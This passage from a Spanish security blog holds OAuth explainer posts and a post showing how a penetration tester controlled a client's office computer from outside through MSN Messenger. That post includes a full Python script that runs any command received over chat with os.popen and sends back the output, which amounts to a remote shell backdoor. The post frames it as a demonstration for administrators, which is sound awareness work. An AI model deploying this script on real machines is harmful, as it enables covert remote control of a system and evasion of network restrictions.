El flujo descrito es el proceso de autenticación habitual a través de OAuth pero no es el único. Éste se conoce como 3-legged porque en él intervienen los tres actores habituales. Otro flujo que se suele utilizar es el llamado 2-legged en el que el usuario no interviene (sólo hay que autenticar a la aplicación) debido a que no se accede a sus recursos.

¡Hasta la próxima entrada!

3 de agosto de 2011

(Ab)Usando del protocolo MSN

En cierta ocasión, después de realizar el trabajo que se nos encomendó nos propusieron algo que estaba claro que andaban dándole vueltas por las caras que llevaban. ¿Sería posible que alguno de nuestros empleados pudiera acceder a su ordenador y por consiguiente a la red desde fuera de la oficina?

Así pues, con los datos que ya llevábamos, nos fuimos a la oficina a estudiar si eso sería posible o no. Al no conseguir datos que dijeran que eso fuera posible, nos fuimos a las oficinas del cliente a seguir investigando si eso sería posible.

Mi compañero, que es un monstruo dio con la clave, más o menos. En realidad no fue como en las películas, una casualidad. Como en muchas empresas entonces, se capaban mogollón de cosas, pero seguía permtiéndose usar el msn, o el gmail o cualquier otra movida.

Usamos el MSN para controlar su sistema desde fuera.

En su momento estudiamos un poco el protocolo y lo reprodujimos. No tengo ni idea de donde esta aquello ahora, así que lo he reproducido con lo que tenemos a mano hoy en día. Bastante más fácil por cierto.

Para programar el cliente remoto hemos usado la librería msnp.py, que podéis encontrar aquí. Os pongo las modificaciones que hemos realizado:

import msnp
import time
import os
import re
import sys

if len(sys.argv)<2:
print "Introduce con quien comunicar"
sys.exit()

dest_user = sys.argv[1]

class MsnChatListener(msnp.ChatCallbacks):
def message_received(self, passport_id, display_name, text, charset):

if dest_user == passport_id:
print '%s: %s' % (passport_id, text)
if re.match("execute: ",text):
comando = str(text.split("execute: ")[-1])
comando_execute = os.popen(comando).readlines()
if len(comando_execute)>0:
for bucle in comando_execute:
self.chat.send_message(bucle.split('\n')[0], charset)
self.chat.send_message("------ COMANDO EJECUTADO ------", charset)
else:
self.chat.send_message('"'+comando+'"'+' no se reconoce como un comando interno o externo,', charset)
self.chat.send_message('programa o archivo por lotes ejecutable.', charset)

class MsnListener(msnp.SessionCallbacks):
def chat_started(self, chat):
callbacks = MsnChatListener()
chat.callbacks = callbacks
callbacks.chat = chat

msn = msnp.Session(MsnListener())
msn.login('correo@hotmail.es', 'password')

while True:
msn.process(chats = True)
time.sleep(1)
El protocolo es antiguo, pero para demostrar la viabilidad es perfectamente usable.

A continuación muestro una captura de lo que ocurre al lanzarlo:


Es necesario poseer dos cuentas. La primera de ellas se usará para el programa, para poder conectar con ella. La segunda es la cuenta desde la cual conectaremos. Yo he usado dos cuentas mías directamente.

Al lanzar el programa es necesario indicarle desde que otra cuenta se va a hablar con él. Esto es necesario por motivos evidentes. Cualquiera que se agregara esta cuenta podría lanzar comandos, nada más descubriera como hacerlo, lo cual también es modificable para que sólo devuelva los datos adecuados en caso que se lo digamos nosotros, no cualquier otro.

A continuación adjunto una pantalla de la ventana del messenger interactuando con el cliente instalado en la máquina destino.


Para poder lanzar comandos sólo hay que añadir delante el comando “execute:".

Si bien no es una vulnerabilidad, es algo que muchos administradores deben de tener en cuenta. Aún hoy en día existen bastantes redes empresariales en las cuales está permitido usar clientes de mensajería, y la mayoría de las veces no es porque los responsables de la red no quieran evitarlo.

Enlaces que deberías visitar si estás interesado en este protocolo:
http://msnpiki.msnfanatic.com/index.php/Main_Page
http://msnp.sourceforge.net/tutorial.html
http://es.wikipedia.org/wiki/Microsoft_Notification_Protocol
http://www.hypothetic.org/docs/msn/

“Cualquier parecido con la realidad es mera coincidencia”


1 de agosto de 2011

El protocolo de autenticación OAuth. Conceptos (II)

Cuando se lee documentación sobre OAuth se ven una serie de conceptos que, aunque sencillos, en algunos casos pueden llevar a confusiones debido a que la terminología se modificó en algún punto del desarrollo. De esta manera, hay documentos que utilizan la terminología "antigua" mientras que la RFC oficial y la mayor parte de documentos recientes utilizan los términos actuales.

twitter es un servicio que utiliza OAuth para llevar a cabo la autenticación de usuarios desde aplicaciones de terceros, ya sean Web, de escritorio o para dispositivos móviles. Por este motivo, voy a utilizar twitter como ejemplo para identificar cada uno de los términos que paso a describir:

Servidor /server/ (inicialmente llamado Service Provider)
Es quien proporciona el servicio; es decir, allí donde nos estamos intentando autenticar para acceder a sus funcionalidades. En nuestro caso serían los propios servidores de twitter.

Cliente /client/ (antes llamado Consumer)
Es la entidad desde la que se lleva a cabo la autenticación. Cualquier cliente de escritorio, extensión de navegador, cliente para dispositivos móviles... que trabaje con twitter se considera un cliente. Por tanto, se puede decir que es la "aplicación de terceros" desde la que intentaríamos acceder a nuestra información en twitter.

Dueño o Propietario del recurso /Resource Owner/ (antes llamado User)
Como el propio nombre indica, es el propietario del recurso al que se quiere acceder. En nuestro ejemplo seríamos los usuarios finales de twitter.

De esta última definición se puede deducir un nuevo concepto: Recurso protegido /Protected resource/ que sería el recurso (información, funcionalidad...) ubicado en el Servidor al que estamos intentando acceder y que pertenecería a su Propietario.

Por otro lado, se suele diferenciar entre tres tipos de credenciales: cliente, temporales y token. Todas ellas se están formadas por un identificador único y por un secreto (algo parecido al típico usuario/contraseña, aunque no es del todo igual).

Como sucedía con los conceptos anteriores, en alguna documentación se puede encontrar otros nombres para cada par de los anteriores credenciales. De este modo tendríamos consumer key y secret (cliente), request token y secret (temporales) y access token y secret (o incluso user token y secret para el token).

Las credenciales de cliente se utilizan para que el servidor pueda identificar a un cliente determinado. De este modo, el servidor sabe en todo momento qué tipo de cliente está accediendo y podría dar funcionalidades extra a clientes de confianza o con ciertos privilegios. En el caso de twitter, ésta avisó de que toda aplicación que publicara sus credenciales clientes sería deshabilitada (lo siento pero no encuentro la noticia).

Las temporales se utilizan durante el proceso de autenticación de un usuario final (dueño del recurso) y, como su propio nombre indica, su validez es temporal mientras se acuerda el token que será utilizado durante la sesión.

El token sería el equivalente a un identificador de sesión en una aplicación Web estándar y se utiliza para identificar tanto al cliente como al usuario que accede a sus recursos.

Creo que por hoy ya está bien. En la próxima entrada explicaré cómo se obtienen cada una de estas credenciales y cómo interactúan las partes implicadas.

¡Hasta la próxima!

12 de julio de 2011

El protocolo de autenticación OAuth. ¿Qué es? (I)

Hoy comienzo una serie de entradas que van tienen como objetivo presentar el protocolo de autenticación OAuth.

¿Qué es OAuth? (Necesidad de OAuth)

Como ya he dicho, es un protocolo de autenticación. Es decir, se utiliza para que una entidad (normalmente un servidor Web) sea capaz de identificar a otra entidad que intenta acceder a sus recursos (normalmente un usuario).

En este punto, podríamos estar pensando en un formulario de login de Usuario y Contraseña y prácticamente viene a ser eso pero con una diferencia que voy a explicar con un ejemplo.

A día de hoy, tenemos cientos de aplicaciones para nuestros dispositivos móviles, extensiones de navegadores, servicios Web, etc. que nos ofrecen acceder a recursos como Facebook, MSN, Gmail, twitter... y nos piden que introduzcamos nuestras credenciales en estos servicios para que las aplicaciones puedan conectarse y acceder a nuestro muro, nuestras fotos, para permitirnos publicar tweets desde la aplicación, etc.

Pero, ¿nos podemos fiar de estas aplicaciones? Si introducimos nuestras credenciales en una aplicación, no sólo le estamos dando acceso a nuestros datos, estamos dándole la oportunidad de "robarnos" la cuenta porque podría tratar de cambiar nuestra contraseña.

¿Quién no ha tenido algún amigo que le pregunte: "me metí en una de esas aplicaciones para comprobar quién me ha borrado del Messenger y ahora no puedo entrar. ¿Qué hago?"?

Pues bien, OAuth es la solución a esto ya que permite a las aplicaciones de terceros acceder a la información que tú quieras compartir con ellas pero sin que introduzcas tus credenciales directamente en las aplicaciones.

El flujo de la autenticación a través de OAuth lo presentaré en la próxima entrada de la serie, pero adelanto que la manera de realizarlo es haciendo que el usuario se autentique directamente en el servicio final (Facebook, twitter...) y pasándole unos "identificadores de sesión" a la aplicación.

Bueno, para no alargar más esta entrada lo dejo aquí. Las siguientes serán más técnicas pero he creído oportuno escribir ésta en plan introducción.

¡Hasta la próxima entrada!